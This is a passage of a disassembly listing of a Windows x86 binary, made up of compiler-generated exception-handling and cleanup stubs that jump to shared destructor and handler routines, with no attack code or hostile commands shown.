--------------------------------------------------------------------------- loc_43B0B8: ; DATA XREF: ___:00414BB2o mov eax, offset dword_441468 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B0D8: ; DATA XREF: ___:004414C4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414D60 proc near ; DATA XREF: sub_414D60+2o mov eax, offset dword_441498 jmp sub_437AB8 SEH_414D60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-48h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-44h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414E00 proc near ; DATA XREF: sub_414E00+8o mov eax, offset dword_4414E0 jmp sub_437AB8 SEH_414E00 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_43B178: ; DATA XREF: ___:0044156Co mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_401447 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401938 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401CA3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401EA1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A32 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017AD ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402239 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401ECE ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018D9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017DA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B3B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F46 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_401889 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401E06 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_402013 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_401771 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401F00 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B2E1: ; DATA XREF: ___:00416A82o mov eax, offset dword_441540 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_43B358: ; DATA XREF: ___:0044167Co mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_401447 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401938 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401CA3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401EA1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A32 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017AD ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402239 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401ECE ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018D9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017DA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B3B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F46 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_401889 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401E06 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_402013 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_401771 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401F00 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B4C1: ; DATA XREF: ___:00416CF2o mov eax, offset dword_441650 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_416F70 proc near ; DATA XREF: sub_416F70+2o mov eax, offset dword_441760 jmp sub_437AB8 SEH_416F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_43B55B: ; DATA XREF: ___:004417BCo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_416FE0 proc near ; DATA XREF: sub_416FE0+2o mov eax, offset dword_441790 jmp sub_437AB8 SEH_416FE0 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B98B: ; DATA XREF: ___:004419FCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417500 proc near ; DATA XREF: sub_417500+2o mov eax, offset dword_4419D0 jmp sub_437AB8 SEH_417500 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43B9DB: ; DATA XREF: ___:00441A44o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4175A0 proc near ; DATA XREF: sub_4175A0+2o mov eax, offset dword_441A18 jmp sub_437AB8 SEH_4175A0 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BA4E: ; DATA XREF: ___:00441A9Co mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417670 proc near ; DATA XREF: sub_417670+2o mov eax, offset dword_441A70 jmp sub_437AB8 SEH_417670 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BAAB: ; DATA XREF: ___:00441AE4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417730 proc near ; DATA XREF: sub_417730+2o mov eax, offset dword_441AB8 jmp sub_437AB8 SEH_417730 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BB0B: ; DATA XREF: ___:00441B34o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4177F0 proc near ; DATA XREF: sub_4177F0+2o mov eax, offset dword_441B08 jmp sub_437AB8 SEH_4177F0 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4178B0 proc near ; DATA XREF: sub_4178B0+2o mov eax, offset dword_441B58 jmp sub_437AB8 SEH_4178B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417920 proc near ; DATA XREF: sub_417920+2o mov eax, offset dword_441B88 jmp sub_437AB8 SEH_417920 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417990 proc near ; DATA XREF: sub_417990+2o mov eax, offset dword_441BB8 jmp sub_437AB8 SEH_417990 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417A20 proc near ; DATA XREF: sub_417A20+2o mov eax, offset dword_441BE8 jmp sub_437AB8 SEH_417A20 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BBFB: ; DATA XREF: ___:00441C4Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417AE0 proc near ; DATA XREF: sub_417AE0+2o mov eax, offset dword_441C20 jmp sub_437AB8 SEH_417AE0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BC4B: ; DATA XREF: ___:00441C94o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417B80 proc near ; DATA XREF: sub_417B80+2o mov eax, offset dword_441C68 jmp sub_437AB8 SEH_417B80 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BC9B: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417C20 proc near ; DATA XREF: sub_417C20+2o mov eax, offset dword_441CB0 jmp sub_437AB8 SEH_417C20 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BD0E: ; DATA XREF: ___:00441D34o mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417CF0 proc near ; DATA XREF: sub_417CF0+2o mov eax, offset dword_441D08 jmp sub_437AB8 SEH_417CF0 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BD6B: ; DATA XREF: ___:00441D7Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417E10 proc near ; DATA XREF: sub_417E10+2o mov eax, offset dword_441D50 jmp sub_437AB8 SEH_417E10 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417ED0 proc near ; DATA XREF: sub_417ED0+2o mov eax, offset dword_441DA0 jmp sub_437AB8 SEH_417ED0 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417F90 proc near ; DATA XREF: sub_417F90+2o mov eax, offset dword_441DF0 jmp sub_437AB8 SEH_417F90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418040 proc near ; DATA XREF: sub_418040+2o mov eax, offset dword_441E20 jmp sub_437AB8 SEH_418040 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4180C0 proc near ; DATA XREF: sub_4180C0+2o mov eax, offset dword_441E50 jmp sub_437AB8 SEH_4180C0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BE8B: ; DATA XREF: ___:00441EACo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418170 proc near ; DATA XREF: sub_418170+2o mov eax, offset dword_441E80 jmp sub_437AB8 SEH_418170 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BEBB: ; DATA XREF: ___:00441EE4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418250 proc near ; DATA XREF: sub_418250+2o mov eax, offset dword_441EB8 jmp sub_437AB8 SEH_418250 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-1B4h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_418450 proc near ; DATA XREF: sub_418450+8o mov eax, offset dword_441F00 jmp sub_437AB8 SEH_418450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43BF2B: ; DATA XREF: ___:00441F5Co mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4191A0 proc near ; DATA XREF: sub_4191A0+2o mov eax, offset dword_441F30 jmp sub_437AB8 SEH_4191A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419260 proc near ; DATA XREF: sub_419260+2o mov eax, offset dword_441F68 jmp sub_437AB8 SEH_419260 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-23Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-28Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_419300 proc near ; DATA XREF: sub_419300+2o mov eax, offset dword_441F98 jmp sub_437AB8 SEH_419300 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4198F0 proc near ; DATA XREF: sub_4198F0+2o mov eax, offset dword_441FD8 jmp sub_437AB8 SEH_4198F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-820h] jmp sub_40187A ; --------------------------------------------------------------------------- loc_43BFDB: ; DATA XREF: ___:0041A288o mov eax, offset dword_442008 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-44h] and eax, 1 test eax, eax jz locret_43C006 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43C006: ; CODE XREF: ___:0043BFF8j retn ; --------------------------------------------------------------------------- loc_43C007: ; DATA XREF: ___:00442064o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43C017: ; DATA XREF: ___:0041B1C2o mov eax, offset dword_442038 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41B4D0 proc near ; DATA XREF: sub_41B4D0+2o mov eax, offset dword_442078 jmp sub_437AB8 SEH_41B4D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43C050 proc near ; DATA XREF: ___:004420D4o lea ecx, [ebp-3Ch] jmp sub_401226 sub_43C050 endp ; --------------------------------------------------------------------------- mov eax, [ebp-40h] and eax, 1 test eax, eax jz locret_43C06E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43C06E: ; CODE XREF: ___:0043C060j retn ; --------------------------------------------------------------------------- loc_43C06F: ; DATA XREF: ___:004420DCo lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_41BA50 proc near ; DATA XREF: sub_41BA50+2o mov eax, offset dword_4420A8 jmp sub_437AB8 SEH_41BA50 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- 